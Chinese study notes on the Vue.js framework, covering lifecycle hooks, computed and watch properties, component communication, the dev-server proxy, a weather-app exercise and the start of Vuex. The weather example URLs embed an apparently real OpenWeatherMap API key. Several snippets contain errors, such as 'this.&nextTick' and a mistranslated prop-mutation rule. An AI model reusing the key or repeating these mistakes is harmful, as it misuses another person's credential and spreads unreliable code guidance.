  • 初始化阶段

    • 创建Vue实例vm
    • 初始化事件对象和生命周期
    • 调用beforeCreate钩子函数
    • 初始化数据代理和数据监测
    • 调用created钩子函数(此时可以通过vm访问data数据对象)
    • 编译模板语句生成虚拟DOM(页面上还未渲染)
      • beforeCreate:可以在此时添加loading效果
      • created:结束loading效果,可以在此时发送ajax请求,也可以添加定时器
  • 挂载阶段

    • 调用beforeMount钩子函数,此时页面还未渲染,真实DOM还未生成
    • 给vm增加$el属性,代替 el,$el代表了真实的DOM元素(真实DOM生成,页面渲染完成)
    • 调用mounted钩子函数
      • mounted:可以操作页面的DOM元素
  • 更新阶段

    • data发生变化
    • 调用beforeUpdate钩子函数(内存中的数据发生变化,页面还未更新)
    • 虚拟DOM重新渲染和修补
    • 调用updated钩子函数(页面已更新)
      • beforeUpdate:适合在更新之前访问现有的DOM,比如手动移除已添加的事件监听器
      • updated:页面更新后,对数据进行统一处理
  • 销毁阶段

计算属性

使用Vue的data节点中原有属性进行一系列计算后得到的一个全新属性

需求:用户输入的文本进行反转并显示

<div id="app">
	输入:<input type="text" v-model="str">
	<h1>反转的信息{{reverse()}}</h1>
</div>

<script>
	const vm = new Vue({
		el : '#app',
		data(){
			return{
				str : "",
			}
		},
		methods : {
			reverse(){
				return this.str.split("").reverse().join("");
			}
		}
	})
</script>

但是这样做在页面上多次使用这个方法时,每一次都需要调用该方法进行重新计算,合理的设计只需要调用一次就可以了

<body>
	<div id="app">
		<input type="text" v-model="msg">
		<h1>反转后:{{reverse}}</h1>
	</div>
</body>
<script src="../js/vue.js"></script>
<script !src="">
	const vm = new Vue({
		el : '#app',
		data : {
			msg : 'hello vue'
		},
		computed : {
			reverse : {
				get(){
					return this.msg.split('').reverse().join('');
				},
                set(val){
                    
                }
			}
		}
	})

上文中说 get方法在读取时自动调用,其实是不严谨的,在data中数据变化的时候也会自动调用get方法

修改计算属性的时候,set方法会被调用;但是计算属性的值变化只在数据源变化时发生

本质上,修改计算属性的值是通过修改原始属性值达到的

所以set方法很少使用,计算属性提供了一个简写形式(set不需要):

如果对计算属性赋值需要进行某些操作,比如全选框让所有选项全选,可以使用set方法

计算属性本质上就是一个function函数,它可以实时监听data中数据的变化,并return一个计算后的新值,供组件DOM渲染的时候使用

计算属性需要以function函数的形式声明到组件的computed选项中

计算属性和方法的区别

计算属性会缓存计算的结果,只有当计算属性的依赖项发生变化时,才会重新进行运算。因此计算属性的性能更好

<div id="app">
	<input type="text" v-model.number = "count">
	<p>普通方法 : {{count}}的值 * 2 = {{plus()}}</p>
	<p>普通方法 : {{count}}的值 * 2 = {{plus()}}</p>
	<p>普通方法 : {{count}}的值 * 2 = {{plus()}}</p>	
</div>
<script>	
	//创建Vue核心对象
	Vue.createApp({
		data(){
			return {
				count : 1,
			}
		},
		methods : {
			plus(){
				console.log("方法被执行了")
				return this.count * 2;
			}
		}
	}).mount("#app");

在控制台打印了三次:方法被执行了

<div id="app">
	<input type="text" v-model.number = "count">	
	<p>计算属性 : {{count}}的值 * 2 = {{plus}}</p>
	<p>计算属性 : {{count}}的值 * 2 = {{plus}}</p>
	<p>计算属性 : {{count}}的值 * 2 = {{plus}}</p>	
</div>
<script>
	//创建Vue核心对象
	Vue.createApp({
		data(){
			return {
				count : 1,
			}
		},
		computed : {
			plus(){
				console.log("计算属性被执行了")
				return this.count * 2;
			}
		},
	}).mount("#app");

在控制台打印一次:计算属性被执行了

监听属性

watch允许开发者监听数据的变化,从而针对数据的变化做出特定的操作;例如:监听用户名的变化并发起请求,判断用户名是否可用

监听器都要定义在watch节点下。

  • 可以监听基本属性,也可以监听计算属性

基本语法:

data(){
    return {username : " "}
},
watch : {
    //监听username的变化,
    //第一个参数是 变化后的新值,第二个参数是 变化之前的旧值
    username :{
        handler(newVal,oldVal){

        }
    }
}
  • 回调函数名称必须是handler
  • 当被监听的属性发生变化时,handler自动调用

  • immediate选项:默认情况下,组件初次加载完毕后不会调用watch监听器,如果想让watch监听器在组件加载完毕立刻调用,就需要加上immediate选项。
watch:{
    username : {
        handler(newVal,oldVal){
            console.log(newVal,oldVal);
        },
        immediate : true,
    },
}
  • deep选项:如果监听的是一个对象内部的属性值的变化,需要加上deep选项

如果要监视对象中的属性:


这样做是不行的,因为a的值没有发生变化

如果使用deep选项就不需要写这些代码了:

  • 后期添加监视
vm.$watch('属性名',{
    deep : true,
    handler(newVal,oldVal){
        
    }
})
/*简写形式*/
vm.$watch('属性名',function(newVal,oldVal){ })
  • 简写形式

如果只有handler函数,可以使用简写形式

  • 计算属性和监听属性的区别

    • 计算属性侧重于监听多个值的变化,最终计算并返回一个新值(侧重得到一个结果)

    • 监听器侧重于监听单个属性的变化,最终执行特定的业务处理,不需要有任何返回值

有一种情况必须使用watch:数据变化后等待一段时间返回结果,也就是异步的需求使用computed无法完成,必须使用watch

组件化开发

组件基本应包括 HTML结构、JS交互、CSS样式

  1. 创建组件 Vue.extend({}),配置项和vm几乎相同,不能使用el

    data必须使用方法返回对象,不能直接定义为一个对象(避免多个组件共享一个数据对象

创建组件时可以直接写为:var comName = {},但是Vue.extend()方法还会调用,在注册组件时调用这个方法

  1. 注册组件
  • 局部注册:vm中使用配置项 components,只能在当前的Vue实例vm所接管的区域中使用

  • 全局注册:Vue.component('userlogin',userloginComponent)
  1. 使用组件

以HTML标签的形式使用

Vue中是可以使用自闭合标签的,但是必须在脚手架环境中使用(驼峰命名也必须在脚手架中使用)

局部注册:

<div id="app">
	<h1>{{msg}}</h1>
	<user-list></user-list>
	<user-list></user-list>
	<user-list></user-list>
</div>
<script>
	//1. 创建组件
	const myComponent = Vue.extend({
		template : `
			<ul>
				<li v-for="(user,index) of users" :key="user.id">
					{{ index }} : {{ user.name }}
				</li>
			</ul>`,
		data: function () {
			return {
				users : [
					{id : '001',name : 'jack'},
					{id : '002',name : 'lucy'},
					{id : '003',name : 'james'},
				]
			}
		}
	})
	const vm = new Vue({
		el: '#app',
		data: {
			msg : '组件化开发',
			users : [
				{id : '001',name : 'jack'},
				{id : '002',name : 'lucy'},
				{id : '003',name : 'james'},
			]
		},
		components : {
			userList : myComponent,
		}
	});
</script>

组件间数据是独立的:

<script> 
   /*定义组件*/
   var com = {
      template:`<button @click = "add">你点击了{{count}}次</button>`,
      data(){
         return{
            count : 0,
         }
      },
      methods: {
         add(){
            this.count++; /*每个组件之间的数据是独立的*/
         },
      },
   };
   //创建Vue核心对象 创建一个根实例
   Vue.createApp({
      data(){
         return {
         }
      },
      components : {  /*选项中注册 : 局部注册*/
         /*"com" : com,*/
         com,  /*ES6简写 组件名称和变量名称相同时可以使用*/
         "liuyibo" : com
      }
   }).component("liu").mount("#app"); /*component 链式调用*/


</script>

可以观察到,每个组件之间的数据都是相互独立的

组件的嵌套

在root下注册app组件,在app组件中注册x组件和y组件

<div id="root">
	<app></app>
</div>
<script src="../js/vue.js"></script>
<script !src="">
	const x = {
		template: ` <h2>x组件</h2> `
	}
	const y = {
		template: ` <h2>y组件</h2> `
	}
	const app = {
		template : `
			<div>
				<h1>app组件</h1>
			<x></x>
			<y></y>
			</div>
		`,
		components: {
			x,
			y
		}
	};
	
	const vm = new Vue({
		el : '#root',
		components : {
			app,
		}
	})
</script>

vm与vc

VueComponent

new Vue({})配置项中的this和Vue.extend({})配置项中的this分别指向谁?

Vue实例中的this是Vue:

其中的孩子就是VueComponent,VueComponent和user组件不是完全相同的

在Vue中,this指向了vm

在VueComponent中,this并不指向组件对象user:

在Vue源码中:

      Vue.extend = function (extendOptions) {
          extendOptions = extendOptions || {};
          var Super = this;
          var SuperId = Super.cid;
          var cachedCtors = extendOptions._Ctor || (extendOptions._Ctor = {});
          if (cachedCtors[SuperId]) {
              return cachedCtors[SuperId];
          }
          var name = getComponentName(extendOptions) || getComponentName(Super.options);
          if (name) {
              validateComponentName(name);
          }
          var Sub = function VueComponent(options) { //VueComponent构造方法
              this._init(options);
          };
          /*...*/
          return Sub;  //将构造方法返回了

extend结束后的返回值是一个构造方法,每次调用返回的都是一个全新的构造方法(sub是局部变量),赋值给user

类似于:

	function test() {
		var Sub = function User() {
			this.name = 'admin'
		}
		return Sub;
	}
	var a = test();
	var b = test();
	
	console.log(a);
	console.log(b);
	console.log(a == b); //false

其中a和b:

这与直接输出user的结果是相似的,user就是VueComponent构造函数

可以直接new a() 创建对象:

在上文中拿到了user的VueComponent构造方法,在解析到 标签的时候,在Vue底层就会new User()创建一个实例对象

prototype _proto_

构造函数都有 prototype属性,这个属性被称为 显式的原型属性,可以通过这个显式原型属性获取原型对象

实例都有 __proto__属性,这个属性被称为 隐式的原型属性,可以通过这个隐式原型属性获取原型对象

原型对象只有一个,所有的实例和构造方法共享一个原型对象

	function Vip() {
	
	}
	var x = Vip.prototype;
	var a = new Vip();
	var b = new Vip();
	var c = new Vip();
	var protoA = a.__proto__;
	var protoB = b.__proto__;
	var protoC = c.__proto__;
	console.log(x,protoA,protoB,protoC);
	console.log('queals?' , x === protoA); //true
	//给Vip的原型对象扩展属性
	Vip.prototype.counter = 100;
	
	//通过实例可以访问吗?
	console.log(a.counter) // 100

访问原理:首先去a实例上找counter属性,如果a实例上没有counter属性,会沿着 __proto__这个原型对象去找

实际上访问的是:

console.log(a.__proto__.counter) // 100

实际上并不是a的counter属性,是a实例的原型对象上的属性counter

如果给Vue对象的原型对象扩展属性counter:

在vm对象中是可以访问的,那么在vc对象(user对象、VueComponent实例)中是否可以访问:

是可以访问到的,这说明Vue和VueComponent一定指向了同一个原型对象,这样做是为了代码复用,Vue和VueComponent有很多属性和方法是相同的

Vue的原型对象:

这些方法和属性与VueComponent是共用的。

Vue底层将VueComponent的原型对象的对象原型指向了Vue的原型对象

VueComponent.prototype.__proto__ = Vue.prototype

在本例中:

user就是构造函数,构造方法才有prototype属性

所以通过vc可以访问Vue的原型对象上扩展的counter属性

单文件组件

在真正的开发中一个组件一般对应一个单独的文件

User => UserView.vue

一个组件对应 结构HTML,交互JS,样式CSS,如果定义在一个文件中样式只能写在同一个style中

单文件组件的命名规范:CamelCase,与Vue开发工具相同

Vue是一个完全支持组件化开发的框架,vue中规定的组件后缀名是.vue,之前接触到的App.vue本质上就是一个组件。

  • 组件的组成结构:
    1. template -> 组件的模板结构
    2. script -> 组件的JavaScript行为
    3. style -> 组件的样式
  1. <template>
<template>
	<!--当前组件的DOM结构,需要定义到template标签的内部-->
</template>

<template>是vue提供的容器标签,只起到包裹性质的作用,不会被渲染成真正的DOM元素

<template>节点中支持指令语法,渲染当前组件的DOM结构

在vue2.x的版本中,<template>节点内DOM结构仅支持单个根节点;在vue3.x中,<template>中支持定义多个根节点

  1. <script>

组件的<script>节点是可选的,可以在<script>中封装组件的JavaScript业务逻辑,<script>节点的基本结构如下:

<script>
    //组件相关的data数据、methods方法等都需要定义到export default所导出的对象中
	export default{}
</script>

<script>中的name节点:为当前组件自定义一个名称

<script>
	export default{
        name : "MyApp",
        data(){
            return {
                username : "zhangsan",
            }
        },
        methods :{
            
        },
    }
</script>

在使用vue-devtools进行项目调试的时候,自定义组件名称可以清晰区分每一个组件

  1. <style>
<style lang="css">
    h1{
        font-weight : normal;
    }
</style>

改造之前的组件嵌套:

但是在其他的组件中使用这个组件还需要将这个组件暴露出去,ES6模块化开发:

使用默认导出方式:

可以直接写为:

定义好x,y组件后在app.vue中使用需要导入:

<template>
	<div>
		<h1>app组件</h1>
		<x></x>
		<y></y>
	</div>
</template>
<script>
import x from 'x.vue';
import y from './y.vue'; //导入
export default {  
	components: {  //注册
		x,
		y
	}
}
</script>

只需要改造在vm中的调用:

这不是一个组件,一般会写在main.js当中

此时在html中调用:

但是目前为止是运行不了的,浏览器不支持ES6的模块化开发,此时就需要借助Vue cli

VueCli

Vue Cli 可以将我们的.vue代码编译生成html css js代码,并将这些代码发布到自带的服务器上

创建项目完毕后自带一个HelloWorld案例:

编译:编译Vue程序,自动将生成的html css js放入内置服务器,自动启动服务

cd project_name

npm run serve 编译helloworld案例

访问地址:

结构

第一个单文件组件

在index.html中没有引入vue.js,也没有引入main.js

VueCli会自动找到main.js,不需要手动引入(不能随意修改main.js的名字和位置)

在vue.config.js中关闭保存时语法检查:

const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  lintOnSave : false
})

render函数

其中的render函数如果被注释,控制台报错:

js:4605  [Vue warn]: You are using the runtime-only build of Vue where the template compiler is not available. Either pre-compile the templates into render functions, or use the compiler-included build.

(found in <Root>)
warn @ vue.runtime.esm.js:4605
需要启用模板编译器(使用模板编译函数render),或者使用完整版的vue.js

当前使用的vue版本是:


采用缺失模板编译器的vue.runtime.esm.js:减小体积

Vue.js包括两块:Vue核心 + 模板编译器(30%),将来使用webpack进行打包之后模板编译器就没有存在的必要了(.vue已经编译好了),VueCli使用的就是使用的就是缺失模板编译器的vue.runtime.esm.js

  • 第一种方法:在main.js中使用完整版vue.js:

  • 第二种方案:使用render函数(自动调用)

自动传入一个createElement函数

这个函数可以用来创建元素:

这时页面上就有了:

如果想创建我们的app组件:

改造为箭头函数:

组件通信

子组件:

<template>
	<div>
		<h3>品牌: {{brand}}</h3>
		<h3>价格: {{price}}</h3>
		<h3>颜色: {{color}}</h3>
	</div>
</template>
<script>
export default {
	name: "Car",
	data() {
		return {
			brand : 'BMW',
			price : 10,
			color : 'BLACK'
		}
	}
}
</script>

父组件:

<template>
	<div>
		<h1>汽车组件</h1>
		<Car></Car>
		<hr>
		<Car></Car>
	</div>
</template>
<script>
import Car from './components/Car.vue'
export default {
	data(){
		return {
			msg : 'CarInfo'
		}
	},
	components: {
		Car
	}
}
</script>

在父组件中确实复用了子组件,如果想显示不同的汽车信息,就可以使用props配置项接收父组件传来的参数

在父组件中找到子组件,以属性的方式传入数据,在子组件中使用props配置项接收

父组件中的汽车JSON数组:

data(){
		return {
			msg : 'CarInfo',
			car : [
				{
					brand : 'BMW',
					price : 10,
					color : 'BLACK'
				},
				{
					brand : 'BZ',
					price : 20,
					color : 'BLUE'
				},
			]
		}
	},

生成子组件并传参:

子组件中接收数据:

在子组件中可以添加类型的限制:

还可以添加默认值、必要性

	props : {
		carInfo : {
			type : Object,
			required : true,
		},
		"carInfo.brand" : {
			type : String,
			required : true,
		},
		"carInfo.price" : {
			type : Number,
			required : true,
			default : 0,
		},
		"carInfo.color" : {
			type : String,
			required : true,
			default: 'BLACK',
		},
	}

增加一个按钮,点击之后价格的值 + 1

这样做虽然能完成功能,但是控制台报错:避免直接更改prop,因为父组件重新渲染时该值都会覆盖

解决办法:

使用中间变量

在父组件中获取子组件

如果在父组件中想拿到这些数据:

点击按钮,输出信息

就需要在父组件中先获取到子组件

  1. 标记

  2. 获取

如果标记是 ref='car1',可以通过this.$refs.car1获取VueComponent

可以通过VueComponent获取信息:(假设此时car1中的属性都是单独的数据)

如果要获取DOM元素:


单向数据流

所有的 prop 都使得其父子 prop 之间形成了一个单向下行绑定:父级 prop 的更新会向下流动到子组件中,但是反过来则不行。这样会防止从子组件意外变更父级组件的状态,从而导致你的应用的数据流向难以理解。

额外的,每次父级组件发生变更时,子组件中所有的 prop 都将会刷新为最新的值。这意味着你应该在一个子组件内部改变 prop。如果你这样做了,Vue 会在浏览器的控制台中发出警告。

这里有两种常见的试图变更一个 prop 的情形:

  1. 这个 prop 用来传递一个初始值;这个子组件接下来希望将其作为一个本地的 prop 数据来使用。在这种情况下,最好定义一个本地的 data property 并将这个 prop 用作其初始值:

    props: ['initialCounter'],
    data: function () {
      return {
        counter: this.initialCounter
      }
    }
    
  2. 这个 prop 以一种原始的值传入且需要进行转换。在这种情况下,最好使用这个 prop 的值来定义一个计算属性:

    props: ['size'],
    computed: {
      normalizedSize: function () {
        return this.size.trim().toLowerCase()
      }
    }
    

注意在 JavaScript 中对象和数组是通过引用传入的,所以对于一个数组或对象类型的 prop 来说,在子组件中改变变更这个对象或数组本身将会影响到父组件的状态。

子组件向父组件通信

  1. 提供事件源,此时事件源是一个组件

  2. 事件源绑定回调函数 自定义事件名,自定义事件支持事件修饰符

  3. 定义回调函数

  4. 事件触发,调用回调函数

    自定义事件的触发需要在事件源中使用this.$emit('事件名')(也就是在vc对象中)

在事件发生的时候可以给父组件传递数据,这也完成了子组件向父组件的通信

在父组件中接收数据:

在之前的方式里,需要在父组件中定义doSomeCallback(name,age,gender),将方法作为参数传递给子组件,子组件在合适的时候触发这个方法完成子组件向父组件的通信,使用自定义事件简化了这个操作

如果子组件可能传递很多数据,其中的name是最重要的,可以采用ES6语法 可变长参数:

以上的方式是将事件的绑定放在组件标签当中,可以使用代码进行事件绑定:

需要获取到组件VueComponent对象,并且在组件转换为真实DOM挂载到页面上之后才能进行操作(mounted)

这种方式绑定回调函数,回调函数中的this指向App,也就是当前的组件实例

但是,如果使用普通函数方式声明回调函数,this就指向了VueComponent的user实例:

因为普通函数的管理者是this.$refs.user,this指向了这个实例;使用第一种方式绑定的函数是定义在App组件中的methods节点内,thsi是指向App实例的

所以,使用箭头函数时,回调函数中的this继承自this.$refs.user的上级作用域,也就是mounted方法所在的VueComponent实例

如果想实现类似@doSome.once的效果,使用:

解绑自定义事件:

如果向解绑事件,需要对事件源所在的组件进行操作,也就是事件源VueComponent

使用this.$off(事件)方法

手动调用this.$destory()后,当前VueComponent销毁,自动解绑所有事件

目前的通信方式:

  • 父 —> 子
    • props
  • 子 —> 父
    • 父组件定义callback方法,将方法作为props传递给子组件,子组件在合适的时机调用
    • 自定义事件,父组件监听,子组件触发

全局事件总线

在之前的代码中,

  • 父组件中监听事件:

  • 子组件触发事件

这两个是同一个组件实例:

也就是$emit和$on都是向同一个vc操作,通过这种方式完成了组件通信

如果定义一个App之外的全局vc对象,这个对象是所有组件共享的:

在aInA和bInB组件中必须获取到全局vc对象,全局vc对象是所有对象共享的,也被称为全局事件总线

必须使用vc是因为vc有$on和$emit方法

只需要解决两个问题:

  1. 在App外创建共享vc对象

    在main.js中创建全局vc对象,创建vc对象需要使用VueComponent构造方法,构造方法是通过Vue.extend({})获取到的

  2. 在每个组件中获取到全局vc对象

    需要通过每一个vc实例都要获取到这个全局vc对象

将全局vc对象扩展到Vue的原型对象上,这样每一个vc实例通过this.对象名都可以拿到这个全局vc对象(this就是VueComponent实例)

在每一个组件中的获取:

完成孙组件向爷组件的数据传送:

在孙组件Vip.vue中$emit触发,在爷组件App.vue中$on绑定

App.vue中接收:

实际开发中:

这三行代码是不需要写的,$on和$emit在vm上也有

直接将vm扩展到Vue的原型对象上就可以了:

但是这样做是不行的,new Vue中已经将页面渲染完毕了,在new Vue前创建也是不行的,new Vue才会创建出vm对象

需要使用beforeCreate,在new Vue创建完毕就会调用

这样设置之后,在任何组件中使用 this.vc获取到的都是vm

全局事件总线对象 vc 一般被称为 $bus

目前为止的通信方式:

  • 父 —> 子
    • props
    • $bus
  • 子 —> 父
    • 父组件定义callback方法,将方法作为props传递给子组件,子组件在合适的时机调用
    • 自定义事件,父组件监听,子组件触发
    • $bus

在组件销毁时,应该将全局事件总线上的事件解绑,避免全局事件总线负担过重

在$on如果直接定义回调函数,箭头函数的this指向vueComponent,普通函数指向Vue

消息的订阅与发布

这种机制也可以完成任意组件间的数据传递

需要借助第三方的 pubsub-js 库,使用这个库是为了完成消息的订阅与发布

pub:publish 发布

sub:subscribe 订阅

 npm install --save pubsub-js

安装完毕就可以使用import导入 pubsub对象

如果要完成兄弟组件Vip向User的通信:

在User组件中订阅消息:

在Vip中发布消息:

和全局事件总线一样,组件销毁之前需要取消订阅

在订阅的回调函数中,普通函数的this是undefined,使用箭头函数可以保证this继承自当前的组件实例

mixin 混入

printInfo()是公共代码片段,可以放入mixin.js当中,mixin.js与main.js平级

在使用时:导入并解构赋值,使用mixins关键字配置

如果mixin.js中定义了与组件中同名的方法,最终执行的还是组件中的方法,混入不会破坏原组件的函数。

但是,如果定义了相同的8个生命周期钩子函数,会先执行mixin.js中的生命周期函数,再执行组件中定义的生命周期函数

以上的混入只是局部混入,在每个组件中单独进行混入,如果想全局混入需要在main.js进行操作:

插件

插件是一个对象,对象必须有install方法,这个方法会被自动调用;插件一般都放在plugins.js文件中

使用插件:

可以在插件中为Vue的原型对象扩展属性:

扩展之后通过vm或者vc都可以访问

混入的是代码片段,插件是独立的功能

局部样式

Vue会将所有组件的样式计算在一起,如果两个组件中定义了相同的类名,后面组件的样式会覆盖前面组件的样式,需要将样式设置为局部样式

组件化开发案例

根组件:

其中的BugItem是依照bug条数生成的:

在子组件中接收数据:(避免直接对props修改)

在父组件中生成:

  • 保存bug

解决思路:将bugList数组定义在App当中,传递给BugHeader和BugList

注意:不能对父组件传递给子组件的props进行操作,所有的 prop 都使得其父子 prop 之间形成了一个单向下行绑定:父级 prop 的更新会向下流动到子组件中,但是反过来则不行。这样会防止从子组件意外变更父级组件的状态。

需要换一种方案:

在App中定义一个方法,对bugList进行增加,将这个方法传递给子组件

定义的方法:

在App中操作bugList,将方法传递给子组件

在子组件中接收传来的参数并调用:

  • 点击checkbox,修改bug数组的resolved状态

与上例相同,建议在App.vue中进行修改。

checkbox在BugItem中,点击后需要对id = id 的元素进行修改:

需要传递个BugList

BugList再传递给BugItem

在BugItem中调用:

更简单的方法:将checkbox的cheched属性双向绑定到bugItemInfo.resolved当中

这里没报错是因为vue没有去检测内部的变化

  • 删除功能实现

在生成元素时绑定事件

在BugList中使用props传递的参数进行遍历

在App中删除:

  • 统计bug数量

数量:bugList.length

已解决数量:统计bugList中resolved为true的数量

使用ES6的reduce方法对数组进行条件统计

arr.reduce(()=>{},统计起点);
其中的回调函数由数组中元素总数相关
1.返回值作为回调函数这次计算的结果,作为参数a
	a就是上次统计的返回值
2.b 代表当前被统计的对象
(a,b)=>{
    return num;
}

  • 全选的复选框

全选按钮在BugList当中,已解决在BugFooter当中,这两个组件是兄弟关系,目前来说无法传参

但是BugList当中有bugList数组,只需要再使用一次计算属性resolvedCount,但是没必要再写一次重复的代码,可以使用混入解决

判断是否全选:

  • 隐藏list列表

全部删除后隐藏list列表

  • 全选和取消全选

点击全选后将数组中的resolved的状态全改为true,再次点击全改为false

每个resolved的值取决于全选框是否被选中

此时最好的方法是在App根组件中定义selectAllCallback方法,在方法中进行操作,接收参数作为是否被选中的状态,将selectAllCallback传给BugList

第二种解决办法:v-model + 计算属性set方法

需要保证isAll和selectAll方法都能执行,isAll在所有resolved都是true时执行,selectAll在点击全选按钮时执行

用户点击全选按钮,就是给计算属性isAll赋值,就会调用计算属性的set方法

value是否自动传入?

  • 清除已解决

点击按钮删除数组中resolved为true的元素

按钮是在BugFooter当中,如果要增删bugList数组当中的元素必须在App.vue中设置clearResovledCallback方法,使用数组的filter方法进行过滤。

  • 修改描述信息

鼠标移入描述上变为pointer,点击之后显示文本框并且焦点移入最后进行编辑,失去焦点后文本框消失并且保存信息

实际上bug描述中应该有两个元素,通过一个flag控制显示与隐藏

flag:true时,bug描述信息显示,文本框隐藏

flag:false时,bug描述信息隐藏,文本框显示

点击Bug描述信息后,flag值取反,文本框失去焦点取反

更好的设计是将flag作为bug的一项属性editState,但不必在原数组中新增,点击之后扩展属性就可以了

此时就会扩展属性,默认值为false,如果想指定默认值,需要在created钩子函数中指定

但是,这样扩展的属性是没有响应式的,必须使用Vue.set(对象,属性名, 属性值)添加响应式属性(或者this.$set())

如果在enterEdit方法中扩展属性,每次扩展时都需要进行判断:

if(bugItem.hasOwnProperty){
    bug.editState = true;
}else{
    this.$set(bug,'editState',true);
}

但是此时只完成了显示文本框,光标并未在文本框的最后,应该在enterEdit方法中获取文本框对象,让文本框对象获得焦点

获取文本框并设置焦点:

但是这行代码并不会让文本框获取焦点,enterEditState方法会在方法体执行完毕后渲染DOM,在此时页面上没有DOM结构,这行代码是没有生效的。

解决办法:

  1. setTimeout

但是一般不使用这种方案

  1. this.&nextTick(callbackFunction)

nextTick:绑定回调函数,在DOM元素渲染完毕后回调函数执行

文本框失去焦点,保存描述信息

  1. @blur,传入事件对象$event,通过e.target.value获取信息,修改editState,可以设置不能为空
  2. v-model双向绑定bug的desc,但是可能被设置为空

使用$emit优化父子通信

  1. BugHeader向App.vue中的bugList数组传递保存的新bug信息

BugHeader中:

App.vue中:

  1. BugFooter通知App.vue清除已解决的bug

BugFooter:

App.vue:

  1. BugItem中点击删除传递给App.vue的bugList数组

之前的实现中是以BugList作为中转,此时可以直接从BugItem传递要删除的id给App.vue

在组件销毁时,应该将全局事件总线上的事件解绑,避免全局事件总线负担过重

使用订阅发布机制改造

BugItem中点击删除传递给App.vue的bugList数组

App.vue中订阅,BugItem中发布

Ajax跨域访问

使用vue-cli自带的内置方式

原理是将Ajax请求发送到Vue服务器上的一个程序中,通过这个程序访问目标服务器上的资源,这属于服务器请求服务器,服务器请求服务器不需要遵守同源策略

使用axios库发送Ajax请求:

npm install --save axios

但是当前的js代码在9999端口,此时访问8080就是跨域访问,被同源策略阻止

配置vue.config.js启用vue的代理服务器机制:

  1. 简单启用

  devServer : {
    proxy : 'http://localhost:8080', //告知vue服务器9999 如果要访问8080端口就启用代理机制
  }

但是,此时在代码中就不能直接访问8080了,要访问vue小程序所在的位置:

Ajax请求本站的程序,本站如果找不到资源就会依照main.js中的配置访问目标服务器

访问本机的资源时,协议 IP 端口号可以省略

如果本站中存在与请求路径相同的资源,就会获取到本站的数据

存在的问题:当前配置完毕只能代理访问8080,如果想同时代理8081就无法做到

  1. 高级启用:支持配置多个代理
devServer: {
    proxy: {
      '/api': {
        target: '<url>',
        ws: true,
        changeOrigin: true
      },
      '/foo': {
        target: '<other_url>'
      }
    }
  }

代理所有以/api开始的请求路径

但是这样做会将最终的请求路径变为http://localhost:8080/api/vue/bugs,/api是多余的,需要删除

        pathRewrite : {'^/api' : ''},

^是正则表达式的开始符号,这个配置的意思是, /api 被替换为 空字符串

多个配置:

其他配置项:

      '/api': {
        target: 'http://localhost:8080',
        pathRewrite : {'^/api' : ''},
        ws: true, //开启对websocket的支持,默认true,实时推送技术
        changeOrigin: true //改变起源,让对方服务器不知道我们的起源在哪,就是隐藏了9999
      },

如果设置changeOrigin,对方服务器在获取起源的时候获取到的是与对方服务器自身相同的地址

Vue-resource发送Ajax请求

  1. 安装 npm install vue-resource --save

  2. import vueResource from ‘ vue-resource ’

  3. 使用插件Vue.use(vueResource)

  4. 使用该插件后,所有的vm和vc实例都扩展了 $http属性

  5. 使用办法:

    this.$http.get('').then() 用法与axios相同

Weather案例

openweathermap.org

使用API:

使用:

根据维度和经度获取天气信息:

https://api.openweathermap.org/data/2.5/weather?lat={lat}&lon={lon}&appid={API key}
https://api.openweathermap.org/data/2.5/weather?lat=38.9181714&lon=121.6282945&units=metric&appid=78b262ed7919f0d79a2ca50a4a6f82bf
  • lat:维度
  • lon:经度
  • units:单位

右侧的描述:

Geographical coordinates (latitude, longitude). If you need the geocoder to automatic convert city names and zip-codes to geo coordinates and the other way around, please use our Geocoding API.
地理坐标(纬度、经度)。如果您需要地理编码器自动将城市名称和邮政编码转换为地理坐标,或者反过来,请使用我们的地理编码API。 

根据城市名称/邮政编码获取地理坐标:

http://api.openweathermap.org/geo/1.0/direct?q={city name},{state code},{country code}&limit={limit}&appid={API key}
http://api.openweathermap.org/geo/1.0/direct?q=大连&appid=78b262ed7919f0d79a2ca50a4a6f82bf

天气图标:


https://openweathermap.org/img/wn/{03d}@2x.png
  • 组件划分

输入城市名,发送Ajax请求获取经纬度

获取到经纬度后再发送Axios请求获取天气数据:

vue.config.js中的配置:

响应的数据:

从其中获取 温度、湿度、风速、图标编号等信息,通过全局事件总线传递给Weather.vue

使用:

改进:在最开始显示的时候将Weather组件隐藏一次

在this.$bus.$on的回调函数中设置Weather的v-show为true

Vuex

Vuex是实现数据集中式状态管理的插件,数据由Vuex统一管理,让其他组件都是用vuex中的数据,只要有一个组件修改了这个共享的数据,其他组件会同步更新。

  • 全局事件总线关注点在数据的传送上,组件和组件之间的数据如何传递,分别绑定$on和$emit,数据实际上还是在“局部”组件当中,没有让数据真正的共享,this.$bus这个全局事件总线是共享的,但是共享的数据并没有在这个对象上

所有的 props 都遵循着单向绑定原则,props 因父组件的更新而变化,自然地将新的状态向下流往子组件,而不会逆向传递。这避免了子组件意外修改父组件的状态的情况,不然应用的数据流将很容易变得混乱而难以理解。

另外,每次父组件更新后,所有的子组件中的 props 都会被更新到最新值。

  • Vuex插件的关注点:共享数据本身就在vuex上,其中任何一个组件去操作这个数据,其他组件都会同步更新,是真正意义的数据共享

Vuex插件维护了一个共享对象store,store对象中有state属性,state中存储共享的数据

使用vuex插件的场景:多个组件之间依赖于同一个状态,来自不同组件的行为需要变更同一个状态

Vuex环境的搭建

安装

  • vue2安装vuex3版本

    npm install --save vuex@3

  • vue3安装vuex4版本

    npm install --save vuex@4

src下创建目录和js文件(不必须是这个名称)

  • 目录:vuex
  • js文件:store.js

在store.js文件中创建核心store对象并暴露

store对象是核心对象,store对象是管理mutations、state、actions的

简写形式:

在main.js中使用:

启用store配置项后vm和所有vc实例都会增加一个$store属性,这个属性指向了store对象

第一个vuex程序

vuex实现 点击 + 1

基础程序:

使用vuex改造:

组件中用到的数据应该来自$state的state对象中的属性,这些属性应该是做了响应式处理的

使用:

这样做是没有问题的,但是如果方法是个非常复杂的业务逻辑,将来有可能进行复用,在当前组件App.vue中定义这些代码其他组件就不能进行复用,Vue不建议这样做。

  • actions:负责执行某个行为的对象,其中有n多个action,每一个action都是一个callback

    原则:负责处理复杂的业务逻辑或者发送Ajax请求

  • mutations:负责更新的对象,其中有n多个mutation,每一个mutation都是一个callback

可以将 + 1 的操作定义在actions当中:

const actions = {
	/**
	 * 进行 + 1 操作 只负责处理业务逻辑
	 * @param context  vuex上下文对象
	 * @param value dispatch传来的参数
	 */
	plusOne(context,value){
		value++;
